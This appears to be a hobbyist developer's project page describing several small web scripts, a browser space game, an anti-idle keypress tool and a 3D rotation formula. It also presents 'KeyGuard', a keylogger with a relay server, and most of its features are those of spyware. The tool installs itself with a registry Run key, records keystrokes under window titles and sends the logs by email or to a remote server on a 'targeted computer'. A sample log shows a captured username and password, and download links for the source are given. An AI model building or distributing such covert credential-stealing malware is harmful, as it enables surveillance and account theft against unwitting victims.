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Key features:
* It dynamically updates the suggestion list with bold character recognition.
* The suggestion list can be navigated using arrow keys and mouse.
* When using arrow keys, movement takes over from mouse location.

The application JS code is easily available through viewing the source. The PHP used is just a 2-dimensional array with titles and urls. And a foreach-loop to check for form submits, along with populating the JS version of the array.

Web Galaxy currently has 10 solar systems with 30 asteroids in every system by default. Web browsers may lag when running more than 30-50 asteroids in the solar system view through the asteroid movement engine, I want to avoid that. If I were to add support for more player activity I would probably want to build more solar systems instead.

Technical
Mainly Javascript functionality. DHTML for effects, AJAX for real-time database updates, PHP and MySQL for back-end. The whole project consists of 15 images and 6 web files, 903KiB in total size. Game is wrapped in a very simple and basic user login system, just enough to keep players separated. The game should work without cookies as well.

I started making the game Feb. 9, 2010. Game was considered completed enough for testing on the Feb. 15, 2010. And that is where it is right now until I decide to put more work into it. The next step would be to create a messaging and/or chat system between players.

Gameplay illustrations:

You can try out the game yourself here.

IdleGuard
A small program (72kb) that – so far – every 5 minutes “pushes” the space key for you which should reset the ingame logout timer. It is extremely CPU cycle friendly (no loop stress/block/hang), and will require practically zero resources to keep running.

Is it safe to use?
Yes. The program does not hack or manipulate any memory space of any software. It simply sends a virtual key code into the windows keyboard stream.

Can I only use this with games?
It should work on any applications and systems that would otherwise kick you for being idle for too long.

Vista note
The Windows Vista User Interface Privilege Isolation (UIPI) might prevent this program to run properly or even crash as I have not bothered to error-handle such an event. You should be able to solve this by either turning off UAC or simply run it as administrator.

You can download the program here (win32 executable, no dependencies).

How do I use it?
Just start it, it will open a small window that you can close when you don’t need it running anymore. As long as you run it, it will “push” the space key for you every 5 minutes. Remember to have your game or program in focus while it’s running.

You can check it out here.

You can view all the javascript code simply by right-clicking and “view source” after it opens in a new window.

The script is made for simple rental needs. If you got a cabin that you would like to rent out through the web, then you could use this script on your website to show others when the cabin is available in a simple manner.

You can try out the script here. (admin log-in: demo // test)

And/or download it here.

The script is made with PHP and AJAX. It requires that your server supports PHP and that you can connect to a MySQL database where you need to create a small table. Instructions for how to create the necessary SQL table is contained in the settings.php file.

The script comes with a search function that can search for images in all directories based on single search keywords.

The gallery supports the .GIF, .JPG and .PNG image formats.

You can check out the gallery here.

And/or download it for free here.

The script is made purely in PHP and only depends on GD version 2 (for high res image sampling).

Main KeyGuard features:

• A background program that logs PC keyboard activity.
• Automatic system injection by copying itself into a specified directory and adding a run value in the registry for automatic execution on startup/reboot.
• Sends the log on e-mail when it has reached a specified amount of bytes, resets the log file for new use at every send. (Relay Server backlog will log until manual reset).
• Consists of just 1 standalone executable with file size of 167kb (68,5kb without the icon), injects itself into the system when executed, system will remain injected with it until uninstalled as specified in source file.
• Logs the most common keys of interest and formatting.
  Easy to extend its logging features.
• Does not depend on SMTP for sending logs. Can connect to a listening KeyGuard bouncer/relay server on the Internet somewhere that will receive data and forward it and/or just save it.

Info from KeyGuard.c

/*
    --
    KeyGuard

    An attempt at user activity logging by Dag J Nedrelid.
    This code is written and compiled in C.

    Designed for Windows XP clients.
    --

    A keylogger that logs the most important characters
    such as letters, numbers and common formatting. It
    can easily be extended by modifying the formatKeys[]
    array and its usage. Log is stored in a text file
    which is sent on e-mail.

    * It attempts to log in a reader-friendly way by
      logging activity under the active window titles.

    * It should be performance friendly without keeping the
      CPU towards 100% by sleeping 10 milliseconds each cycle.
      This is still fast enough to log a quick writer. 

    * It prevents logging the same key twice while same key
      is being held down in a proper way without missing the
      next key activity.

    * A mix of \r\n and HTML formatting, so it looks more
      readable on received mail and directly in text file.
      Of some reason \r\n won't trigger a newline effect in
      my text mails, and I refused to have it all on 1 line.

    * Sends you a log on e-mail and resets the log file for
      new usage. MAX_LOG_SIZE decides when to send the file.

    * The function InjectKeyGuard() is called by default:
      - It will attempt to put a copy of the file itself into
        the location defined by FILE_COPY_NAME.
      - It will attempt a windows registry modification so the
        copied file will start on every system boot/restart.

    * How to uninstall once injected:
      - Kill the process in task manager.
      - Delete the file specified in FILE_COPY_NAME
      - Delete the log file LOGFILE from same directory.
      - Delete the registry value named REGISTRY_RUN_NAME under:
        HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    TIP: Compile with /MT and not /MD for standalone
         functionality and easy distribution.

    NOTE: Remember to link with WS2_32.lib, this code uses winsock
          to send the file through an SMTP server to an e-mail.

    The end product is a one-click keylogger that installs by itself.
    When compiled with /MT, executable file becomes ca 167KB in size.
*/

Log output example on e-mail:

[WINDOW: Google - Windows Internet Exp]
somesite.com

[WINDOW: Connect to somesite.com]
the username[Tab]thepassword

[WINDOW: Google - Windows Internet Exp]
I am searching stuff I should not search

Values such as the SMTP server to use, e-mail to receive logs – will differ in every case. It is designed for one-click execution injection, and as such it must be compiled individually with these values.

UPDATE 24th October 2008:
I have made a KeyGuard Relay Server (also programmed in C). This is a small linux multi-threaded server program that is able to relay connections from all KeyGuard2 versions.

The server is useful in cases where you are not sure about what SMTP the targeted computer is using, or where the SMTP security is too strict.
The KeyGuard project files
These files have been tested OK and been used several times with variations. I use the VC++ 2008 C compiler when making the binaries. Here are the source files – play with them, learn from them, use them wisely. Much can be improved and added, but I will not make any updates in near future as it covers what I have needed it for and I don’t have time for it.

KeyGuard
- Sends log through a local SMTP(mail) server where it’s installed.
Download the source

KeyGuard2
- Sends log through it’s own server, works everywhere.
Download the source

KeyGuard Relay Server
- Waits for authenticated calls from KeyGuard2 versions to forward the logs, and/or save them on the server itself. This is a very small multi-threaded server that can run on most linux servers as a normal user by just running the command “nohup ./KGServer &” to make it keep running after you log out. Binds to a port specified in advance.
Download the source

If you recognize an image that’s yours and you don’t want it in the browser for free download, let me know and I’ll remove it completely if you provide me with enough ensuring details that you own the rights to it.

You can find the WPBrowser here.

Below I have created a small matrix with 8 vectors rotating around a center point by using the vector coordinates instead of a preset radius like I did in the 2D rotation. I’ve used DHTML for functionality and illustration. Viewing the source may help you grasp the use of the formula.

Click here to open the script in a new window.

In the 2D script I used this formula to rotate around a center point:

x = Math.cos(Radian)*XRadius(hypotenuse)
y = Math.sin(Radian)*YRadius(hypotenuse)

By changing the radius, you can simulate x,y rotation as well, but only on a 2D plane. It would be simulation, not real 3D. Add depth with another z calculation with the above formula, and you would have the 3D effect available.

It means to give the coordinate or a vector’s ‘x’ and/or ‘y’ new values based on finding the radian x and y ratio through cosine and sine multiplied by hypotenuse to keep the proper center point (radius). This formula could be used for simulating 3D on a 2D plane.
It could even be used for real 3D calculation, but you would need to find a way to make the rotation radius/hypotenus values work together when e.g crossing a z-axis with a y-axis rotation. When e.g. the z-rotation closes in on the y-axis, the radius of z-rotation (x) would have to be shortened accordingly, start a x-rotation as well and you have a calculation challenge.

Here is a formula that does the proper job of 3D calculation.
It respects every axis radius/hypotenuse in regards to each other.

// Rotation around the X axis
xy = Math.cos(RadianX)*y - Math.sin(RadianX)*z
xz = Math.sin(RadianX)*y + Math.cos(RadianX)*z

// Rotation around the Y axis
yz = Math.cos(RadianY)*xz - Math.sin(RadianY)*x
yx = Math.sin(RadianY)*xz + Math.cos(RadianY)*x

// Rotation around the Z axis
zx = Math.cos(RadianZ)*yx - Math.sin(RadianZ)*xy
zy = Math.sin(RadianZ)*yx + Math.cos(RadianZ)*xy

Where zx(X), zy(Y), yz(Z) are the new values to use after every calculation in a 3D space of coordinated rotation. By running this formula on every vector in my little ASCII cube matrix, I get coordinated movement based on the Radians given to it.

By changing the RadianX, RadianY, RadianZ up to 2π(6.28)(360°) in this formula you control every axis rotation, and each rotation radius/hypotenuse should work in harmony. The trick here is basically how each axis calculation inherits the results from the previous.

It will help to repeat the chapter in a math book on trigonometry (especially sine and cosine) if you are having a hard time understanding the formula above.